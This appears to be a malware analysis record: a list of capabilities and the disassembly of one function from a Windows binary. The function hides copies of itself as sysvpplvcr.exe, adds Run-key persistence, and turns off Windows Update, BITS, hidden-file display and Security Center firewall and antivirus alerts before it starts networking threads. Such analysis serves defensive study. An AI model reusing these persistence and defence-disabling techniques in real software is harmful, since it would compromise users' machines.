Function at 0x4074a0
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Disable system features via registry on windows
Initialize winsock library
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbd8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.099087sa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa44], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4074de
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x62c], 1
mov dword [ebp - 0x210], 4
push 0x105
push 0x4169f8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4169f8
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20c], eax
push 0x4169f8
push 0x4112ac
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0xa40]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysvpplvcr.exe
mov eax, dword [ebp - 0x20c]
push eax
call sub.ntdll.dll_wcscmp
add esp, 8
test eax, eax
je 0x40770a
call fcn.0040e940
movzx ecx, al
cmp ecx, 1
jne 0x407598
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0x838]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysvpplvcr.exe
lea eax, [ebp - 0x838]
push eax
push 0x411304
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x628]
push edx
push 0x4169f8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407657
push 3
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x420]
push ecx
push 0x20006
push 0
push 0x411310
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407657
lea edx, [ebp - 0x628]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x628]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sysvpplvcr.exe
lea ecx, [ebp - 0xa40]
push ecx
push str._s_s
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x418]
push eax
push 0x4169f8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40770a
push 3
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x420]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40770a
lea eax, [ebp - 0x418]
push eax
call sub.ntdll.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x418]
push edx
push 1
push 0
push str.Windows_Settings
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x420]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407763
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push 0x411450
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
push 0x20006
push 0
push 0x411458
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4077b6
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push 0x4114c4
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4078b2
lea ecx, [ebp - 0x420]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindows
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40780d
push 0
lea edx, [ebp - 0x420]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.WindowsUpdate
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x420]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407864
push 0
lea eax, [ebp - 0x420]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x411584
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4078b2
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push str.NoAutoUpdate
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x420]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407900
push 4
lea edx, [ebp - 0x210]
push edx
push 4
push 0
push str.Start
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x420]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40794e
push 4
lea eax, [ebp - 0x41c]
push eax
push 4
push 0
push str.CheckedValue
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407a5a
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push 0x411740
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x62c]
push eax
push 4
push 0
push 0x411754
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x62c]
push edx
push 4
push 0
push 0x41176c
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push 0x411780
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x62c]
push eax
push 4
push 0
push 0x411794
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x62c]
push edx
push 4
push 0
push 0x4117ac
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push 0x4117bc
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x420]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407b66
push 4
lea edx, [ebp - 0x62c]
push edx
push 4
push 0
push str.FirewallOverride
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push str.FirewallDisableNotify
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x62c]
push eax
push 4
push 0
push str.AntiSpywareOverride
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x62c]
push edx
push 4
push 0
push str.AntiVirusOverride
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x62c]
push ecx
push 4
push 0
push str.AntiVirusDisableNotify
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x62c]
push eax
push 4
push 0
push str.UpdatesOverride
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x62c]
push edx
push 4
push 0
push str.UpdatesDisableNotify
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040c9e0
movzx edx, al
test edx, edx
je 0x407cf0
lea eax, [ebp - 0xbd8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [ebp - 0xa40]
push ecx
push str._s_tbtnds.dat
push 0x416c08
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0xa40]
push edx
push str._s_tbtcmds.dat
push 0x4165e8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x405820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x406b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x407380
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405b60
call fcn.0040d850
call fcn.00406f50
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x417640], eax
call fcn.0040c110
mov dword [0x417648], eax
call fcn.0040d340
mov dword [0x417644], eax
call fcn.0040b4d0
push 0
push 0
push 0
push 0x40d800
push 0
mov eax, dword [0x417644]
push eax
call fcn.0040d370
add esp, 0x18
push 0
push 0
push 0
push 0x40d760
push 0
mov ecx, dword [0x417644]
push ecx
call fcn.0040d370
add esp, 0x18
push 0
push 0
push 0
push 0x40d110
push 0
mov edx, dword [0x417644]
push edx
call fcn.0040d370
add esp, 0x18
push 0
push 0
push 0
push 0x40d0c0
push 0
mov eax, dword [0x417644]
push eax
call fcn.0040d370
add esp, 0x18
push 0xffffffffffffffff
mov ecx, dword [0x417644]
push ecx
call fcn.0040d4e0
add esp, 8
mov edx, dword [0x417644]
push edx
call fcn.0040d620
add esp, 4
jmp 0x407cf4
xor eax, eax
mov esp, ebp
pop ebp
ret